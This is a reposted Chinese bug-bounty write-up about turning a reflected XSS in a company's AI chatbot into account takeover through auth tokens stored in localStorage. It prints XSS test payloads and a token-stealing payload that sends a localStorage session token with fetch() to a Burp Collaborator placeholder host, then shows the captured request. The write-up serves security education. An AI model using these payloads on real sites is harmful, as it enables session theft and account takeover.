文章总结: 这篇文章讲述了一个安全研究人员如何将看似普通的反射型XSS漏洞升级为严重的账户接管漏洞。作者发现目标公司将身份验证令牌存储在localStorage中,这是一个严重的安全错误。通过利用XSS漏洞,作者成功窃取了CEO的会话令牌,获得了系统完全访问权限。文章强调了不要低估任何安全漏洞的重要性,并解释了为什么将令牌存储在localStorage中是危险的,建议使用HTTP-onlycookie等更安全的存储方式。 综合评分: 98 文章分类: 漏洞分析,WEB安全,渗透测试,安全意识,实战经验
0097.从“唉,这只是个反射型 XSS 漏洞”到“卧槽,我干掉 CEO 了”
Shah kaif
Rsec
2025年12月15日 10:52 贵州
本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
声明:本文搬运自互联网,如你是原作者,请联系我们!
类型:聊天机器人
| 30 分钟内,我如何从失望到震惊 | LinkedIn
找到了!我原本以为很无聊的反射型 XSS 漏洞(哈欠😴)。公司通常会把这种漏洞标记为“低”严重性。有点沮丧。但又有点好奇。发现他们把授权令牌存储在 localStorage 里。兴奋起来。窃取了 CEO 的会话令牌。获得了所有权限。震惊了。
严重程度: 起初为“低/中”,最终达到“危急 8.8” 教训: 永远不要放弃任何弱点。有时候,真相远比你想象的要深。
我还遵循了 https://recon.vulninsights.codes 中的侦察步骤
第一幕:失望
当时我正在测试 Target.com 的 AI 聊天机器人,并像往常一样向它发送 XSS 攻击载荷:
<h1>hello</h1><i style="color:red">hello</i><a href="https://google.com">Hello</a><img src=x onerror=alert(document.domain)>
他们都工作了。
我的第一反应?
“酷,XSS!等等……它只是反射了。糟糕。”
关于反射型跨站脚本攻击(RXSS),有这么一点:有些公司对待它就像在家里发现一只蚊子。烦人吗?是的。会危及生命吗?不会。
典型的漏洞赏金计划回复:
- “谢谢你的报告!”
- 严重程度:低/中
- 赏金:50美元(如果你运气好的话)
我正要关闭我的 Burp Suite 软件,这时我内心有个声音说: “等等……让我们深入挖掘一下。”
第二幕 “等等……”时刻🤔
我当时脑子里想的是:
我: “好吧,我有了 XSS 漏洞。但是 RXSS 漏洞太无聊了。我该如何让它……更有趣呢?” 我也是: “如果这实际上是存储型 XSS 攻击,在员工查看时触发呢?” 我的大脑: “即便如此,你也得偷些值钱的东西才行……”
然后我突然恍然大悟,就像被一卡车的安全教科书击中一样:身份验证令牌!
调查开始
我打开浏览器开发者工具,开始查找问题。根据经验,我知道大多数现代 Web 应用程序都使用:
- 用于 API 身份验证的 Bearer 令牌
- 会话令牌存储在浏览器中的某个位置。
- 通常存储在
localStorage、sessionStorage或 cookie 中。
我查看了“网络”选项卡。果然,每个请求都有这个漂亮的标头:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
“好的,他们使用 Bearer 代币。但是他们把这些代币存储在哪里呢?”
我打开了开发者工具 => 应用程序 [Chromium]:
localStorage
它就那样静静地摆在那里,就像一个没有上锁的宝箱:
localStorage.getItem('sb-jlmhsrfinffrgxcfkycl-auth-token')
恍然大悟的“卧槽”时刻😱
我简直惊呆了。他们居然把会话认证令牌存储在 localStorage 里?!
对于不了解的人来说,将身份验证令牌存储在 localStorage 中就像这样:
- 把家门钥匙放在邮箱里
- 在信用卡上写下您的密码
- 在 Instagram 快拍上发布你的密码
这是个糟糕的主意。
为什么?因为任何 JavaScript 代码都可以访问它。 包括恶意 JavaScript 代码。也包括我自己的JavaScript 代码。
第三幕:从失望到大奖
突然间,我原本“乏味”的反射型 XSS 漏洞变成了美丽的东西:
之前: “唉,只是个 RXSS,估计连通过都做不到” 之后: “卧槽!这是一个严重的账户接管漏洞!”
计算方法很简单:
Stored XSS + localStoragetoken= Account Takeover
#
payload的演变
我精心设计了我的payload:
<img src=x onerror=" var token = localStorage.getItem('sb-jlmhsrfinffrgxcfkycl-auth-token'); if(token){ fetch('https://YOUR-BURP-COLLABORATOR.com/steal?token=' + encodeURIComponent(token)) }">
这个脚本会:
- 当有人查看我的消息时执行。
- 从本地存储中获取身份验证令牌。
- 发送到我的 Burp Collaborator 服务器。
- 让我感觉自己像个电影黑客。
#
设下陷阱
我启动了 Burp Collaborator (基本上是一个记录所有信息的服务器),复制了 URL,更新了我的有效负载,然后点击发送。
接下来就是漫长的等待……⏰
#
第四幕:token劫案💰
30分钟后……
叮!
我的打嗝合作者兴奋得像圣诞树一样闪闪发光:
GET /steal?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOi...
我持有token。
但这个令牌是谁的呢?是某个普通员工?还是客服人员?我需要解码这个 JWT 才能找到答案。
身份揭晓
我复制了令牌,访问 jwt.io ,将其粘贴进去,然后观察有效载荷的解码过程:
等等 [email protected] ?我觉得那只是员工会话。那是内部团队账号。
“卧槽”时刻 第二部分
我坐在那里盯着屏幕,心想,不如搜一下公司 CEO 的名字吧:
轰! 💥
“我原本以为只是个‘没什么大不了的低严重性 RXSS 漏洞’,结果在 30 分钟内就变成了‘我刚刚攻破了 CEO 的账户’。”
全面接管。
刚才发生了什么?(让我解释一下)
漏洞链
- 存储型 XSS 攻击——我的有效载荷被内部员工(CEO 账号)存储和查看。
- localStorage 令牌存储— 可供 JavaScript 访问的身份验证令牌
- 无令牌保护——不使用仅限 HTTP 的 cookie,没有安全性
- 高权限受害者——拥有最高权限的内部团队成员
- 完全接管账户——全面访问客户关系管理系统、数据以及所有功能。
为什么公司将令牌存储在本地存储中(以及为什么不应该这样做)
他们这样做的原因:
- 易于实施
- 跨标签页工作
- 可通过 JavaScript 轻松访问
- “真方便!”
他们为什么不应该这样做:
- 任何 JavaScript 代码都可以读取它(包括 XSS)。
- 无法抵御 XSS 攻击
- 即使浏览器关闭后仍然存在
- 没有内置过期时间
- 安全噩梦🔥
查看原文:《0097.从“唉,这只是个反射型 XSS 漏洞”到“卧槽,我干掉 CEO 了”》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论